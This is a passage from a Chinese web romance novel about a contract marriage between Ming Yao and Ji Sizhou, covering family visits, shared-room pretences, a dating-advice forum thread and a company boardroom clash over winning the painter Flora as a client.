“你昨晚不是喝多了,现在感觉还好吗?”
季斯舟往外迈的腿停住:“没事,只有一点不舒服。”
“那你中午去吃什么?”
季斯舟淡道:“工作的话,随便吃一点就好了。”
周特助周末过来加班,自认不能愧对五倍加班工资,在敲开门的同时对明遥说了句实话:“太太,季总每次忙工作的时候就不吃了。”
明遥:“……”
她在让季斯舟一个人去随便吃点和两个人一起吃点正常饭里稍微纠结,季斯舟也没能走出大门,因为骆璟来电话了。
“和你老婆搬完家没有,来庆祝你的乔迁之喜,让我来蹭个饭。”
季斯舟看了眼厨房:“我家没有你吃的东西。”
“景秀园2栋,我马上就到了。谁想和你说话了?嫂子在吗,嫂子!”骆璟扯着嗓子喊,“嫂子,能不能让我蹭个饭吃啊,我还给你们带了乔迁礼物呢!”
明遥对季斯舟使了个眼色,用口型说:没问题,我配合。
人家都说了是来庆祝乔迁之喜的,不能把人挡在外面。
她清清嗓子:“可以,来吧。”
“还是遥遥好!”骆璟的称呼立马换了,季斯舟的气有点不顺,他挂了电话和明遥解释:
“他是个这样的性格,不用管,等下我把他打发走就行。”
“好了,不就是一顿饭,我们反正要吃。”明遥笑了下,“但是我不会做饭,只会煮泡面,不太适合用来宴客,骆璟会做饭吗?”
周特助又道:“太太,季总很会做饭吃的。”
明遥:“中式?”
季斯舟的脑海中浮现出早上明遥吃贝果之前微微的嫌弃,失笑:“我中西式都会,看你想吃哪一种。”
明遥惊讶地看着他,“你们家里还负责给你们培养这个啊。”
她打开冰箱,“但是什么都没有,我们去趟超市?”
在出发之前,明遥还让季斯舟换套衣服。
解释如下:
“你穿的太正式,让我觉得你不是去超市买菜,而是去买超市的。”
季斯舟:……
从不知道,原来去逛个超市也应该有与之对应的穿搭风格。
最后是季斯舟穿了一套好不容易拿来的休闲风格,可惜就他这个颜值,普
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通的家居服也盖不住他的男模气质。
逛完超市回来,明遥还顺便将家里的医药箱补齐,刚好骆璟也到了。
手里也拿着很多东西,一些日用品,居然还有一个柜子,拿小板车给运过来的。
来了之后就喊明遥:“瑶妹妹!”
明遥刚拿出果盘,季斯舟从她手里抽中,抬头冷冷地看向好骆璟:“你放下东西就可以走了。”
“我就叫嘿,遥遥你知道季斯舟,季斯舟……我去,你季斯舟啊?”
骆璟里里外外地把季斯舟看了一眼,仿佛看到了新大陆:“季斯舟你昨晚的酒还没醒吗?”
季斯舟在穿衣这方面堪称古板严肃,很难见到他穿正装以外的风格,今天何止穿了,甚至色系上似乎还和明遥呼应上,连手上的表都换了一块。不是平常的黑底低调百达翡丽,而是镶嵌了细钻边劳力士。
这也太骚了?
“你干什么呢季斯舟,你现在准备抢我赛道了是吧?你都结婚了!”
明遥让季斯舟先去厨房,顺着骆璟的目光看过去:“刚才我们出门的时候顺便给他配上的,怎么了?”
骆璟道:“老孔雀开屏,啧,他之前从来不这么打扮。”
明遥本着欣赏的角度说:“他这样挺适合。”
骆璟啃着桃子溜达到厨房:“对了斯舟,下周同学聚会你要过去是吧?带明遥一起去啊。”
明遥在客厅里,往这边看一眼。
骆璟以为她还不知道,就劝:
“一起去,斯舟很希望你去。”骆璟说,“大家都等着季斯舟带你去炫耀一下。如果你把季斯舟一个人放在那里,那他不被灌醉了肯定出不来。”
季斯舟又穿上了围裙:“少说两句,到时候再看有没有时间吧。”
骆璟嗤他一声:“还装,你有老婆了不起。你不带她来,是怕露馅。”
季斯舟没理他,往客厅看一眼。明遥专注地在看手机,并没注意到这边。
钟茗茗给明遥发来消息,问她周一去见Flora的时候需不需要其他的准备。
明遥回复说不要。
她有自己的打算。
一顿饭吃完,骆璟来去匆匆地玩去了。季斯舟做完了饭又自己洗碗,离开的时候正是午睡的点,他对明遥说:“晚餐我做好了,在冰箱里,到时候热一下就可以吃。”
明遥:嗯?
她眨了眨眼睛,思考几秒钟也没想出季斯舟是什么时候安排好的。她想到中午季斯舟穿着围裙在厨房里忙碌的侧影,笑了笑,从旁边的柜子上拿出护胃的药给季斯舟。
“那你一会儿也把这个吃了,胃能舒服点。”
彼此都很礼貌,方能合作愉快,也不亏欠。
季斯舟低声道了谢就离开,还顺手提着今天的厨房垃圾,明遥也转身去厨房,打开冰箱后端出来一看,还准备了两菜一汤。
小炒肉和一盘虾仁藕丁。
还温热,应该刚放进去没多久,很香。她端着那盘藕丁,忽然很想揭开保鲜膜先尝一口,门却再次打开。
季见宜推着生无可恋的季斯舟进来,一眼便看见端着个小碗偷吃的明遥。
明遥:?
她还没开口,季见宜就愠怒地瞪着季斯舟:“我就说你为什么被你老婆赶出家门进不去,才结婚第几天,你就给遥遥吃剩菜,季斯舟,季斯舟,你还是我们季家的男人吗?!”
18. 第 18 章
明遥和季见宜解释了半天,季见宜还表示狐疑:
“那他怎么自己一个人提着垃圾袋在外面傻站着?真的不是被你赶出来的?”
季斯舟因为季见宜过于离谱的猜测,脸上也有了无奈的笑容。
“不是你想的那样。”
季见宜皱眉指着还在明遥手里的炒藕丁:“不是我想的那样?那你看遥遥刚才吃这个的样子,明显是饿坏了。”
她是知道自己弟弟的,季斯舟一个人生活习惯了,如没到他每周定点回家的时候,季斯舟过的刻板高效且简单,让自己成为一个工作狂是他的日常。
他自己这样过就罢了,怎么还带着自己媳妇一起这样?
季见宜能想象出来明遥因为碍于刚新婚而迁就了季斯舟习惯的样子,护着明遥的态度便愈发坚决。
明遥大窘,再厚的脸皮在此刻也化为了无形。
季斯舟也不为她说话,唇边还有未散的笑意,手上还提着袋子,又是一身家居服,是像被赶出去的丈夫那么回事。
季见宜:“遥遥,是不是这样?你说出来,我们家包教训他的。”
明遥闭了闭眼睛:“……不是,是我让他去倒垃圾。”她说不出来是自己觉得香,所以偷吃的话。
脸往哪里放!
季斯舟缓声道:“我现在可以去丢垃圾了吗?”
季见宜啧一声,再次把他推出去:“你赶紧走,就知道遥遥向着你,看我来了还帮你开脱。今晚上你必须做一桌子好菜,我督促着你。”
季斯舟:“嗯,一定。”
等季斯舟走了,季见宜把行李箱推进来,告诉明遥她明天外出有活动,这边近,就过来歇脚一晚。
季斯舟作为家里的继承人,季见宜便乐得消遣,她四处飞,这些年自媒体账号经营的风生水起,无形中也给季氏企业做了不少宣传。
但季见宜既然在这……就意味着明遥和季斯舟也得在这儿。
明遥在心里做了一秒钟建设,接受了这个事实,还好刚才没露馅。
季见宜见明遥又把菜放进冰箱,“不吃了,晚上让斯舟做新的。”
这个就是新的……
明遥噎了一下,“中午他做多了,没吃完,我……我就是尝一口。”
季见宜摇头没信:“还好妈让我来看一下斯舟怎么照顾你,这么下去你不得瘦了?以后周末让他带你回家吃,不许他加班。”
季斯舟回来被季见宜好一顿说,又道:“要不是遥遥答应之后周末回来吃,我还要和妈告状。你好好写好菜谱,之后一周的都写上,去。”
明遥抬头刚好与季斯舟沉静的眸光相撞,唇微动,最后什么也没讲。她极有合作精神,当然不会现在就说拒绝。
季斯舟手里还捏着明遥给他的一般药,放在手心里捏着,沉默了一秒钟。
明遥以为他为难,工作日理万机,那还能抽得出时间每周回家吃饭,她索性顺水推舟的拒绝——
结果季斯舟说:“我这就去写菜单。”
然后就真坐在那,打开电脑,像是工作一般认真,不知道还以为他在弄几个亿的生意,竟值得季总如此费心。
走近了才知道,他列了张表格把菜单、食材,做法全都写了出来。
明遥什么都不需做,她下午睡了个漫长的午觉。再度慵懒地醒来,便闻见了厨房飘香。
到了晚上,明遥才意识到一个更严重的问题:
季见宜今晚在这留宿,她和季斯舟岂不是又要待在一个房间?
她洗过澡,季斯舟抱着两床被子进来了,像是早洞悉了明遥心中的想法,冷静开口。
“我姐还在客厅没睡,另一个卧室连床都还没放,今晚我们和昨晚一样,我来睡地上。”
明遥一个字都没说,季斯舟安排的已经妥妥当当,她把话咽了回去,“那行,你去洗澡吧。”
季斯舟点头,脸上没什么别的表情,将被褥暂时放在一边,进了浴室。
明遥窝在床上,裹在柔丝被里的身躯贴着薄薄的睡裙。
季斯舟人进了浴室,手机就放在床边,开始不停地震动。
房间里本来就安静,明遥不想去管,但他手机震的像唱歌一样很难忽略。
她扫了眼。
想到季斯舟今天原本还要去公司,结果写了一下午菜谱,是有什么急事?明遥回来去自家企业上班,因为有甘佳君的暗中阻拦,一直业务不顺。
她意识没调转过来,不知道一件事。
以季斯舟的地位,素来只有他让别人等,哪可能有什么让他着急的生意。
手机震到第不知道几下,明遥认命下床,随手捞起一件薄袍套在身上。
浴室门口,里面传来哗啦啦的水声。
“季斯舟,你的手机一直在响。”明遥的手指还在门上轻轻地敲了敲,“是不是有什么急事找你。”
浴室里哗啦的水声停了,还没五秒钟,里面的人猛地将门拉开,明遥感觉自己好像感受到了一阵风。
她倒退了两步,有点诧异地抬头看着季斯舟。
季斯舟额头的碎发半干,眉头微微蹙起。
湿漉漉的水汽跟在他身后漫出来,让他没了平常的攻击性,反而更像是美男出浴图。
明遥撇开了眼。
季斯舟的声音有点哑:“知道了。”
明天看他去拿手机,指尖的水珠在手机屏幕上微微洇开小圈指纹。明遥自己回到床边,顺手在网上下单买了个小东西。
“遥遥,睡了没有。”季见宜在外面敲门,小声地喊她。
明遥又下去开门,季见宜就在门口没进来,她不动声色地往里面扫了一眼。
“上次我和你说的,到时候有空就大家一起去滑雪,还记得吗?”季见宜问,“你什么时候有空?”
明遥想了想,“我下周需要去见个客户,可能暂时还走不开。”
“你……你怎么和斯舟一样,也是工作狂!”季见宜叹口气,但随后眼睛又是一亮,“那滑雪场我们家新开的,你问你客户要不要玩,带上一起嘛。”
明遥弯着眼睛点点头:“到时候我和客户见面了,我再问问。”
季见宜在门口和明遥说了会儿话,约好了到时候一定要一起玩,才心满意足的走了。
季斯舟没多久拿着手机洗完澡出来了,头发也已经在里面吹干,穿着睡衣开始打地铺,整个人显得很柔软。
“你姐姐刚刚来了,就和我说了之后一起去滑雪的事情。”
明遥说完,就发现季斯舟的表情似笑非笑的,似乎明白过来什么。
“?”
季斯舟道:“她不止是来问你的,还是来看我们有没有真的住在一起。”
“为什么?”
“她们之前催我结婚催了很久,现在我突然结了婚,她们又害怕我不认真。”季斯舟顿了顿之后说,“是怕我对你不认真。”
明遥恍然大悟。
季家的家风果然很好,和季家人相处也舒服,明遥隐约觉得这桩合作,赚的更多明显是自己。
季斯舟道:“所以这段时间可能会
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需要你多配合一些。”
“只有先让她们放了心,你我之间之后的行动才会更加的自由。”
明遥表示很同意,知道让季见宜的考察放心之一就是两人在一个房间里不出去,她点头:“那今晚上我们是?”
“我睡地上。”季斯舟对这种事……一回生二回熟。
他的视线坦荡,明遥的脚趾在被子里蜷缩了一下,有些不好意思。
现在是在季斯舟的家里了,她没了主人优势,还让季斯舟在地上打地铺的话,万一被季见宜看见了,那算什么话?
但季斯舟坚持不行,严肃地看着她说:
“你把自己代入到夫妻的角色里,丈夫会让妻子睡在地上吗?”
明遥的嘴,跑的比脑子快多了,直接说出口:“那妻子也不会让新婚丈夫睡在地上,两个人都会一起睡在床上。”
季斯舟的黑眸中闪过一丝笑意,好整以暇地望着她,没说话。
明遥自觉失言,差点耳朵都要发红,扬起笑脸道:“那就先这样吧,季先生。该睡觉了。”
说完就赶紧关了灯,一个字都不讲了。
这一觉,明遥睡的不是很好。
她有一点认床,第一天搬到这里来,还需要多习惯一段时间。模模糊糊地翻身,她还瞥到地铺上,那个颀长的身影睡相很好,始终都没动。
上午睡醒,她下楼便看到季见宜在餐桌前站着,而季斯舟在做早餐。
“快来,我都好久没吃过这小子做的东西了,结了婚的男人就是不一样,懂事多了。”季见宜说,看到明遥眼睛底下的淡淡乌青,“你没睡好?我一会儿给点眼贴给你。”
明遥说:“有点不习惯,没睡好。”
季斯舟闻言从厨房里投去视线,明遥正轻轻地咬了一口吐司,因为皮肤白,所以眼底下的乌青就格外的明显,知道明遥认床,他其实听见明遥翻来覆去的声音了。
果然还是不习惯和他在一个房间休息。
虽然知道这是正常的,但季斯舟还是在心底轻叹了口气。
还是要慢慢来。
吃过早餐,季见宜拿起行李就开车走了,临走之前嘱咐季斯舟——晚上让明遥好好休息,不要看在刚结婚就没有节制。
明遥这才后知后觉地意识到季见宜给眼贴给自己的时候,那高深莫测的表情。
误会太大了!!!
但是人已经走了,明遥总不能追出去……她幽怨地看了季斯舟一眼。
季斯舟自觉叫来了周特助来给自己搬家。
“那套房子里什么都没有,我拿一必需品和衣服过去。”季斯舟对明遥解释。
东西太少,一个行李箱就拿完了。周特助觉得特别像老板被扫地出门,但他不敢吱声,推着行李箱麻利地出去了。
明遥觉得那些行李太少了,不像搬家像短途出差,于是问:“不用多拿点?”
季斯舟:“不用。”
明遥思考了一瞬想通了,季斯舟平时的着装都有服装师进行考究的采买和搭配,自己还用的着担心他没有衣服穿么?
季斯舟走出大门,明遥看得出他毫无留恋,她微笑地目送了两秒钟,关门,收起官方表情一气呵成,然后躺在沙发上惬意地打开手机。
还有什么比周日躺着懒洋洋玩手机更惬意的,没有了!
后台艾特她的消息飙升,用户什么时候追到就改名也给她发来了新的消息。
缩略栏里一串感叹号,明遥的眼睛有被吵到,啧了一声,点开了消息框扫了一眼,皱着眉回复。
19. 第 19 章
【追人的过程中,稳住才能赢。知道吗?】
在一整排的感叹号上面,又是一串句号和点号混杂,看的出来当事人的精神状况在发送消息的当时受到了不小的冲击。
最上面那条发的是:【你好,请问在相处的时候想太多正常吗?】
这个问题加上那些乱码的标点,明遥觉得这位粉丝朋友已经不正常了。
还好她今天心情又不错,索性又进行回复:【你需要听得懂必要的暗示,但不用太明示。】
对方目前不在线,明遥回过便抛,去看了看自己之前帖子的回复。
【恋爱狗都不谈:喝多了,反正这里没人认识我,来继续更新一下这个恋爱攻略。
第四,记住,不要太早就进行欲擒故纵,要热情,对方的每句话都要记得回应。
第五,多联系。对方没有表现出厌恶和你聊天的信号时,你记得找话题和对方聊天,从你们共同了解的地方入手,话题结束后可以隔一两个小时再开启下一个。
第六,无条件地维护对方。这还要我教吗?
第七,在线聊天,都不如现实中见一面。
第八,前面那些阶段都顺利完成后,恭喜你,欲擒故纵开始。
怎么个欲擒故纵法,下次喝了酒再讲。】
【泡泡妈的:收藏就等于我已经把我的夸史追到咯,进我的收藏夹吃灰去吧!】
【风雪的浪漫:谢谢大妹子,用这个方法追到了老婆!】
【白色鲸鱼:好奇点开楼上看了一眼发现年龄四十五,这都行?我这就对照着去追了!】
【闭麦尖叫鸡:啊啊啊啊啊啊我宣布姐姐是真的会啊,前面一顿操作下来然后接一个欲擒故纵,这谁都挡得住?我就问是谁能挡得住啊!!!】
【嘎叫:发现了,恋狗谈老师只在喝了酒之后才更新hh,上次更新也是喝多了吧?】
明遥顺手就给点了个赞,现在的网友们是顺着网线监视自己了吗,这都知道。
后台弹出消息,显示她被顶着自己粉丝称号的用户邀请进入了一个打卡群。
【兄弟姐妹们,我建了一个打卡群,大家要是在这用上了有用的方式就来打卡一下,让我们互相打卡打气,祝我们早点追上我们喜欢的人!】
有个熟悉的id在一串的打开里冒了出来。
【什么时候追上就改名:打卡1,今天还没有去见面。】
【群主:这个id名字真眼熟,姐妹你还没追上啊?我看你都已经有个经常浏览的头标了,也该把博主发的这些经验吸烟刻肺了吧,怎么还是不行?】
明遥才知道,什么时候追上就改名是自己的老粉。这帖子两年前的了,这个用户这么久了还没追上,还在坚持不懈地希望她发新教程。
挺执着的……
群里,因为群主的艾特,大家纷纷对用户表达了怜爱。
【姐妹,你今天的去见面打卡呢!@什么时候追到就改名】
【姐妹不要怕,勇敢的去追吧!两年没追上也没关系,就你这个毅力,就算是鱼池里的鱼,也该轮到你了。】
【别太唐突!最好还是在微信上问一下吧?刚好用咱们恋狗谈老师的第五招,你今天的天聊了吗?】
用户什么时候追到就改名罕见的回复:【还没有】
底下疯了。
【那就先聊天!!!!不要太突兀地就过去见面!一般都不喜欢的!】
明遥看的起劲,觉得这不比那些八卦好看多了,直播追人诶!
家里空调开的舒服,外面阳光被遮光窗帘挡住了,明遥一边盯着手机,一边过去拉开客厅的窗帘。
斜对面,那栋房子前面站着的不是季斯舟是谁?
接近一米九的个头,想不注意都难。他没穿外套,西装裤笔挺。
两手拿着拿着手机和车钥匙,也不知道要干什么。
明遥才知道自己住的这一边和季斯舟这么近,在家拉开窗帘就能看见。
不太看得清季斯舟脸上那种表情,但能感受到季斯舟身上的那种纠结。
本来已经往外走了好几步了,看了眼手机,他又退回了原地。
又走,又回。
反复了两个来回,还在原地岿然不动。
明遥有点想笑,拿着微信打开季斯舟的聊天界面,想拍张照问他要干什么,那边忽然显示对方正在输入中。
【zzz:你在家吗】
刚刚季斯舟的那种纠结,不会是因为在纠结给自己发消息吧?
这种想法在明遥的心里出现了一瞬,很快就被她压了下去。
不可能,他应该只会纠结几百万和几亿怎么赚来的更快。
明遥:【在的】
季斯舟:【我要去公司一趟,需要去一下衣帽间,我可以过来一下吗?】
明遥:【好的】
她回的中规中矩,看季斯舟往这边来了,明遥忙收起才看完一半的手机,将窗帘半拉了起来。
门铃响起,季斯舟出现在门口,对她解释。
“有个袖扣放在这边的衣帽间了,所以过来拿一下。”
明遥点头,她之前还想着季斯舟应该有专属的服装师帮他搭配挑选,没想到这人还挺有心思,周日去谈生意,竟然还会自己挑选袖扣。
真是活该季斯舟赚钱。
半晌,季斯舟出来了,但他手里拿着两个袖扣。
在明遥的面前摊开:“帮忙选一个?”
明遥明白过来,原来季斯舟刚才的犹豫只是因为早早开始纠结无法定下的袖扣,哪里是什么发不发消息。她在心底笑了出来,笑的是自己,果然不该将对待寻常男人的想法放在严谨认真的季斯舟身上。
他这么认真,明遥也认真起来,询问道。
“今天的场合重要吗?”
“普通会议。”季斯舟摇头。
他一身都是黑色,原本沉冷的气质不加掩饰,迫人的很。似乎自己还不知道,再在这份气场里加入黑色,就不像是去开会了,可能对方会被吓得战战兢兢。
明遥思考片刻后就指了指那个带钻石的,“那就这个,看着会轻松一点。”
季斯舟选定,黑眸垂在闪钻袖扣上片刻,知道明遥果然喜欢一切闪闪发光的东西。
他将另一枚收回,再出来的时候袖子上已经别好选定的那枚袖扣。
季斯舟身淡漠冷凛的气质终于由衬衫上的名贵宝石切割,仿佛高高在上的神明低头走入繁华的凡尘。
很奇怪,这一刻明遥的脑海里居然闪过骆璟那日在家里吃饭是的那句调侃:“老孔雀开屏啦,这么多年穿的都中规中矩,和你结婚之后稍微打扮,出去都要被人围观。”
话糙理不糙,确实如此。
“谢谢。”
“……不用。”明遥才意识过来自己居然被季斯舟惊艳的恍了一下神,她没掩饰自己对季斯舟样貌的欣赏,“好看的。”
季斯舟走到门口换鞋,挺拔的身形侧过来,声音和脸上的表情都很淡,说:“是你选的好。”
明遥送他出门,不知为什么想看看季斯舟还会不会像刚才那样,于是又拉开了窗帘看了一眼。
季斯舟没回头,进去之后没多久,穿着正装外套出来了。
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没有纠结,走的大步流星,上车后开车离开。
车窗很快升起来,虽然明遥看不太清楚,但隐约也能感觉季斯舟的心情还不错。
她捏着手机,有些可惜。
刚刚应该把季斯舟纠结的那模样拍下来的,因为太难得。
就是太卷,他周日去谈工作都能这么精心准备……明遥莫名被卷到,她没了再躺在沙发上看别人直播追人的心思,打开电脑去做和Flora合作的资料整合。
因此,她刚好错过了用户什么时候追到就改名回来的打卡。
这夜没有意外,她回到了独居状态,一人入睡大床,睡得极好。
周一,她精神抖擞地来到艺术园的展区,和在门厅前等待她的钟茗茗汇合。
一下车,钟茗茗便惊呼:“明遥姐,你好漂亮!怎么可以把职业套装穿的如同走T台?”
明遥穿的是一身莫兰迪婴儿蓝的高定,高跟鞋也搭了哑光的缎面,配了一枚珍珠胸针,圆润的深海珍珠泛着洁白的柔光,优雅又高级。
她勾唇,捏捏钟茗茗的脸:“嘴甜,来,和我进去。”
今天的艺术展览A区仍旧热闹,十点不到,就已经登记了两百多人入园,都奔着Flora来的。
据说,今天艺术家们将出现在自己的展区附近和粉丝们互动。
明遥直奔城市系列的油画展示区,和钟茗茗一起等了一个小时,期间许多游客过来就想与她合照,以为她就是Flora。
明遥进入工作状态,收起了骄纵脾气,笑着对认错的人说:“不是,我也是Flora的画迷,希望能见她一面。”
钟茗茗看着明遥纤细的小腿,担忧道:“明遥姐,怎么回事呀,你来之前我联系过负责人,说Flora来的。刚刚再打电话,那边电话接不通……”
她怕明遥等的烦闷,又听许多人都说明遥大小姐脾气很难伺候,说话开始小心。
毕竟亲自在这里等了一小时,钟茗茗想了下再开口:“我昨天查到资料说Flora喜欢滑雪,难不成我们还得投其所好一点邀请Flora滑雪?但是这大夏天,哪里找个高级滑雪场……”
“有才华的人有点小脾气很正常。”明遥若有所思地垂眸:“我打个电话问一问。”
“哎,好。”钟茗茗以为是再打给负责人,刚掏出手机,被明遥制止了。
她狐疑地抬头看,明遥已经拨出了号码,那边接通后一声惊喜的:
“遥遥?”
“林叔叔,Flora今天怎么没来?我联系不上她的助理。”
钟茗茗:!!!!
林……林平正老师吗?
人脉!居然直接联系展区画馆的馆长!
明遥还在继续打:“路上出了点小事故……啊,好,人没事就行,嗯,我现在在展区,林叔叔,我想请Flora去滑雪,你方便帮我告诉她一声?”
钟茗茗听得一愣一愣的,林平正那边哈哈大笑,语气之中带着点埋怨:“我说斯舟这小子今天怎么有时间来我办公室喝茶,原来是陪你一块儿来的?你要请Flora去滑雪,却没和这小子说一声,难怪来了便告诉我不要打扰你工作。”
“你告诉我,是不是他惹你生气?”
电话似乎拿远了,明遥刚意识到季斯舟正在林平正的跟前,那头传来男人无奈的磁性声线:
“林叔,不是你想的那样。”
淡淡的,低沉,也有对长辈的谦逊。
林平正俨然不信,却对这头的明遥温和道:“我可不信他说的,遥遥也来我办公室,我要听你讲。”
20. 第 20 章
林平正的办公室在艺术馆后面,明遥让钟茗茗先回公司,还顺带报销她的今日在外就餐费用。
钟茗茗眼泪汪汪道:“呜呜明遥姐你和姐夫是好绝美的爱情!我走了!”
到了林平正的办公室,明遥看见了端坐在林平正对面的季斯舟。
他又替林平正倒了一杯茶,抬眸和明遥对视,明遥脚步未停,直接坐在了季斯舟身边的空位。
面前也有季斯舟刚倒上的茶,显然已在等她。
林平正与明青林年轻时便交好,对待明遥也如半个女儿。私宴时他自然有到场,那时候见明遥和季斯舟站在一起尤为登对,怎么这才几天,年轻小夫妻就闹别扭了?
“戒指都不戴,你小子是不是一心扑在工作上,没时间管自己的小家庭,才气到了我们遥遥?”
果然,明遥如玉的手指上干干净净,未见婚戒。
季斯舟的视线也跟过来,垂落在明遥的手上。
她有点不自在,其实早上选配饰的时候发现婚戒风格不搭,放在台面上忘记了,被这么一说,倒真像是和季斯舟在置气。
林平正一本正经地劝道:“你肯定没带遥遥去滑雪场玩,不然至于现在还找不到Flora?你们两个都这么爱工作还得了,尤其是斯舟你,结了婚就要匀出时间到家庭里,懂吗?”
明遥尴尬地拿起杯子喝茶,想说这一切都是巧合,茶水温度适宜,但话到嘴边却不知道怎么说起。
旁边的男人声线低沉:“懂,我回去一定好好认错。”
林平正欣赏他的态度,语气温和下来,“不错,你自己的太太当然要哄着宠着。”
被这个哄字震慑到,明遥还是没开口,她想到了当时在车上这男人对自己说不会哄人时的摸样。
季斯舟:“林叔……我没有经验。”
林平正又道:“没经验你就去学!”他又转头对明遥说,笑眯眯的,“斯舟这人眼光高,虽然恋爱没谈过,技巧经验都不足,但他好在等到了你,让他好好学一学,还是会很带的出手的。”
明遥有点懵懂,很惊叹季斯舟居然一次恋爱都没谈过!也知道这样的对话不能再继续下去,她放下茶杯开口,笑眼盈盈的。
“知道,林叔叔别说他了,我们感情好的很。”
季斯舟将她的茶杯接过,洗净放在茶盘上,配合的很好,笑了笑说:“太太说的是。”
明遥:……
季斯舟笑起来是不是有些犯规了,他平时在长辈面前是这样的吗?明遥在心中腹诽,但面上一点也没显。
中午自然被林平正留下来吃饭,明遥没拒绝。
饭后,她自然上了季斯舟的车。
没了长辈在边上看着,明遥上车便解释:“没戴婚戒是有原因的,我早上放在衣帽间忘了。”
“和我这套不太搭,我就想着摘下来换一个,结果忘记了。”明遥有点歉意,“不是故意。”
她伸出手给季斯舟看自己手上戴的同色珍珠,旁边两圈闪钻,衬得她手指越发细长。
季斯舟:“不搭?”
明遥点头,给他看自己这一身漂亮的行头,说话的声音染上骄傲:“从头到脚都是搭好的,好看吗?”
季斯舟冷淡的眸色在明遥刚好抵住自己皮鞋的高跟鞋尖停留片刻,明遥实在漂亮,明艳动人。去林平正那里的时候季斯舟确实不知道今天明遥也去,可是她站在那里便成了其他人眼中的风景。
有人找她合照,还有人给她拍照,好多人的眼神挪都在挪不开,园区的工作人员早就传开,也传到了办公室里。
让他认真起思考起林平正的话。
他冷静道:“那带你去多买几个,搭着玩。”
明遥:“什么?”
季斯舟露出一个很浅的笑:“刚刚林叔说的,没有经验就该学着好好哄太太,这是我该做的。”
他的语气隐隐带着不容置喙,明遥不仅收了自己的手也收了脚。
……想买就让你买。
明遥不再吱声,体会到了季斯舟的说一不二。
当晚,周特助带着几个首饰盒,是风格迥异的珠宝。戒指、项链、和耳坠琳琅满目,不乏古董,真正做到了各种风格的都有,不得不说……眼光确实可以。
但经过这一次,明遥长了心,主婚戒再也没摘下来过。
*
一连几天,明遥这边的人都没有再展馆里看见Flora。
第二周,明遥在周一的例会上见到了甘佳君。
她在明青林的葬礼后就也称病不来公司,但把自己的人一个一个放进公司里来。
显然有人和她报告了明遥上周去艺术园区找Flora,甘佳君才知道明遥是来真的,又重新回来公司坐镇。
周一例会,甘佳君坐在主位,明遥坐在旁侧,甘霖坐在另一侧明遥的对面。
明遥听着其他人的本周计划安排,等待着藏品评估部门的发言机会。
然而,甘佳君满意地听完众人的报告,直接略过明遥就要散会。
跟在明遥身后做记录的钟茗茗气得手指捏进了记录本里,故意在公司大会上忽略人几个意思啊!可她们的部门确实是公司里存在感最低的,要不是明遥来了,早就面临取缔。
所以没有话语权。
钟茗茗不由自主地看向明遥。
从这角度看见的是明遥的流畅的侧脸和漂亮的唇,透润的翡翠耳坠像是可口的甜甜圈,让她毫不费劲地成为沉闷会议室里的亮色。
就是好可惜,明氏真正决策的人现在是甘佳君……大小姐要吃瘪了,钟茗茗心想要是甘佳君真要发难,自己冲上去顶上。
但明遥站了起来。
“都说完了?那来听一下我们部门的这周计划。”
钟茗茗惊愕地睁大了眼睛:大大大大小姐!!你硬刚!好酷!
明遥说话的语调不卑不亢,自有一种主人的气质,其他人压根没回过神来,竟也不由自主地等她继续开口。
明遥道:“我们部门这一周,会拿下Flora的作品全代理权。”
安静的会议室里的死寂瞬间被打破。
“你说什么?
“小姑娘家家的还真是初生牛犊不怕虎,这是你说想要就能拿到的吗?”
“Flora的代理权连苏铂旗下的公司都拿不到……”
一片私语中,明遥轻松惬意地坐下。众人的讨论和目光,无论好坏,对她来说都毫无影响,反像是拿在手上的战利品。
她高高在上,所以不在乎。
甘佳君冷笑着看明遥:“谁不知道Flora的作品具有绝佳投资前景,但是国内外就没人拿到她代理权的,你凭什么觉得自己可以!”
“那你凭什么觉得我不可以?”
明遥的眼底闪动笑意,她可不会陷入自证陷阱。她的话让甘佳君一噎,“行啊,你厉害,你要是真能拿下来,藏品部门就不用取缔
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。”
要是拿到了Flora的代理权,为公司创下的后续利益百万有余,部门地位能够越至中层。
明遥笑了下:“不止吧?连你妹妹这种毫无管理经验的都能坐稳部长交椅,我再怎么也够格参与两月后的董事变更投票了。”
甘霖沉不住气,“就你也敢?想变更我姐的决策权你还不够格——”
会议室里的目光投向甘霖,大家本就知道甘霖是关系户,偏偏这个关系户升的太快还沾沾自喜,任谁喜欢不起来。
甘佳君沉着嗓子,心里恨明遥到不行却也只能死死忍住:“你胡闹什么!给我坐下!”
散了会,她直接对甘霖气道:“愚蠢!我的脸全被你丢光了。”
明遥高昂着头走出了会议室,她胜利了,并且在脸上和气场上就告诉所有人自己赢得很痛快。
当季斯舟的消息发过来的时候,明遥刚进小区。
【我姐回来了,问你要不要一起去滑雪。】
明遥的眼神一亮,回过去:【我想带个客户,就是上次说的Flora。】
季斯舟没意见,并表示自己到时候就到家门口来接她。
明遥表示完感谢,按了密码开门,却不小心提到了自己放在玄关处的垃圾袋,早上出门着急,忘记扔了。
她礼貌地回过去一句:【你最近都不在家吗?】
因为好几天她回来,对面的灯光都没亮起过。
季斯舟秒回:【今天会回来的。】
啊?饭点了,是要回来一起吃饭?
太突然了!
家里不太整洁,明遥忙起来没时间再料理自己的生活,更别提吃饭。她纠结了片刻……最后挣扎着在手机上又问了一句。
【龙虾你吃吗?】
那边回的很快好:【我吃的。】
哦,那就行了。
明遥放心地点了两份小龙虾,一份麻辣的,一份蒜香的,外加两桶啤酒。
在等待季斯舟过来的路上,明遥还打开了自己的小红书,发布了一则自己的新想法。
中途因为编辑帖子的时候太饿,她干脆又加了一份香香的卤猪蹄。
手机一直没响,看了眼时间,她猜可能是因为季斯舟下班的时候堵车。
但明遥的耐心是有限的,又看了卤猪蹄五分钟,她忍不住发消息去问了。
【你还没回来?】
【zzz:回了。】
季斯舟在聊天的时候很温和,回的还很快,比他现实生活中要好接近。
他又问:【怎么了?】
回来了?人呐?
电光火石之间,明遥忽然想到了一个可能性——
“哗啦”
明遥一把拉开了窗帘,窗外的黄昏弥漫在天边,别墅里面还没亮起,但大门前的氛围灯开着,投下一圈淡淡的暖色。
外面停着季斯舟的车。
【开门】
这边,季斯舟看见这条消息的时候,人也已经在玄关处要开门了。
明遥忽然问起自己回没回来,是不是有什么事情找他?季斯舟深知明遥没把自己当成老公,更不会主动开口使唤,他就自己多送上门去。
消息一来他就看见了,拉开门。
明遥手里提了两桶小龙虾和不知什么的吃食小盒,另一只手抱着的啤酒桶在冒气泡,身后是熔融的夏日,潮湿又热烈。
季斯舟开门见着了她,脸上的表情顿住。
21. 第 21 章
这是季斯舟第一次情绪如此茫然外露,颀长的身形挡在门口,忘了让出玄关的入口。
